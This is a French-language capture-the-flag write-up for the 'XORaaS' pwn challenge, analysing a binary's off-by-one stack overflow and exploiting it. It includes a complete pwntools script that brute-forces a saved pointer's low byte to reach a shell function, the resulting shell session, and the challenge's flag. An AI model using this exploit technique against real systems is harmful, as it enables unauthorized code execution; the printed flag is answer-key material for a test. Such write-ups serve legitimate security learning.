Solution de numb3rss pour XORaaS

pwn x86/x64

2 décembre 2023

📚 Description du challenge

Difficulté: ⭐
Architecture: Amd64
Mon setup:

  • GDB avec pwndbg comme wrapper
  • Binary Ninja
  • Pwntools

Protection sur le binaire:

└─$ pwn checksec --file ./xoraas
[*] '/home/number/Desktop/CTF/Hackropole/Pwn/Xoraas/xoraas'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Dans ce challenge réalisé par Cryptanalyse, il nous est demandé de recupérer le contenu du fichier flag.txt en détournant l’usage d’un binaire nommé xoraas.

Retro-inginiérie du binaire

Libre à vous d’utiliser le décompilateur de votre choix mais étant donné que j’ai dépensé 80euros pour une licence Binary Ninja, je vais une fois de plus essayer de me persuader que c’est mieux que Ghidra et l’utiliser pour décompiler le binaire.

Voici la décompilation de la fonction main en C :

image

Et voici la décompilation de la fonction xor en C :

image

Sans oublier la décompilation de la fonction shell en C:

image

En bref il ne se passe pas grand chose de passionnant: le programme lit tout d’abord 0x80 octets via l’entrée standard dans la variable buf de 0x80 octets

on obtient la taille de la variable via la ligne suivante:

004011ee  488d4580           lea     rax, [rbp-0x80 {buf}]

Puis, le programme appelle la fonction xor en passant l’adresse de la variable buf en paramètre.

La fonction xor est aussi très courte, elle lit 0x91 octets dans une variable aussi nommée buf (par mes soins 🥸). Ce qui est intéressant c’est que à notre plus grande suprise la variable buf fait seulement 0x90 octets

00401178  488d8570ffffff     lea     rax, [rbp-0x90 {buf}]

Une fois nos 0x91 octets entrées, nos deux entrées sont xorées entre elles et nous sont ensuite affichés par la sortie standard.

Quant à la fonction shell , elle appelle le binaire /bin/sh via le syscall execve nous permettant d’avoir un accès au terminal de la machine.

On fait quoi

Pour résumer, on a un off by one (en gros un dépassement de 1 octet) sur la stack. Voyons voir ce que l’on peut en faire.

En mettant un breakpoint sur l’appel à fread dans la fonction xor, on récupère l’addresse sur la stack qui va “recevoir” nos données: image

Hop on a notre adresse: 0x7fffffffdab0. Toujours avec gdb, on va regarder ce qu’il se passe 0x90 octets après cette adresse.

Tiens tiens tiens un pointeur vers la stack 🥸 et encore mieux un pointeur vers l’adresse de retour de la fonction main.

En réécrivant le LSB (least significant bit) de ce pointeur, il doit nous être possible de le faire pointer vers la fonction de notre choix

On a maintenant tous les éléments nous permettant de rediriger l’exécution du programme vers la fonction shell.

💣 Exploit

Pour avoir mon shell, j’ai opté pour une méthode un peu barbare qui consiste à bruteforcer le LSB du pointeur de l’adresse de retour pour le faire pointer - où non - vers l’adresse de la fonction shell.

Je vais énumerer les étapes que l’on va devoir effectuer pour parvenir à nos fins:

  • Envoyer 0x80 fois le caractère \x00 afin que l’on ne soit pas embêté par le xor (0 ^ x = x)
  • Envoyer 18 fois l’adresse de shell (car ca donne 0x90 octets) + la valeur que l’on veut donner au LSB de l’adresse de retour.
  • Enjoy le shell (🤞)

Pour intéragir avec le binaire et lui fournir ma/mes charge(s) utile(s) j’ai utilisé la librairie pwntools avec python3:

from pwn import *


elf = ELF('./xoraas')
pk=make_packer('all')


for i in range(256):
    p = remote('localhost', 4000)

    p.send(b"\0"*0x80)
    payload = p64(0x401142)*18
    payload += pk(i)

    p.send(payload)

    p.clean()
    try:
        p.send(b"echo PWNED\n")
        check = p.recv(timeout=1)

        if b"PWNED" in check:
            print("Offset: %i" % i)
            p.interactive()
            break
    except:
        p.close()
        continue
p.close()

Et finalement, en exécutant notre script, on obtient:

$ python working.py SILENT
Offset: 40
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat flag.txt
FCSC{0d6c81576d1465a876422910769e79af287c9e73254112572737383039194f5d}

Merci d’avoir lu jusqu’au bout, j’espère avoir été clair dans mes propos et surtout un grand merci à Cryptanalyse pour ce challenge 👍

si vous avez des questions n’hésitez pas à me contacter sur discord @numb3rss ou alors sur twitter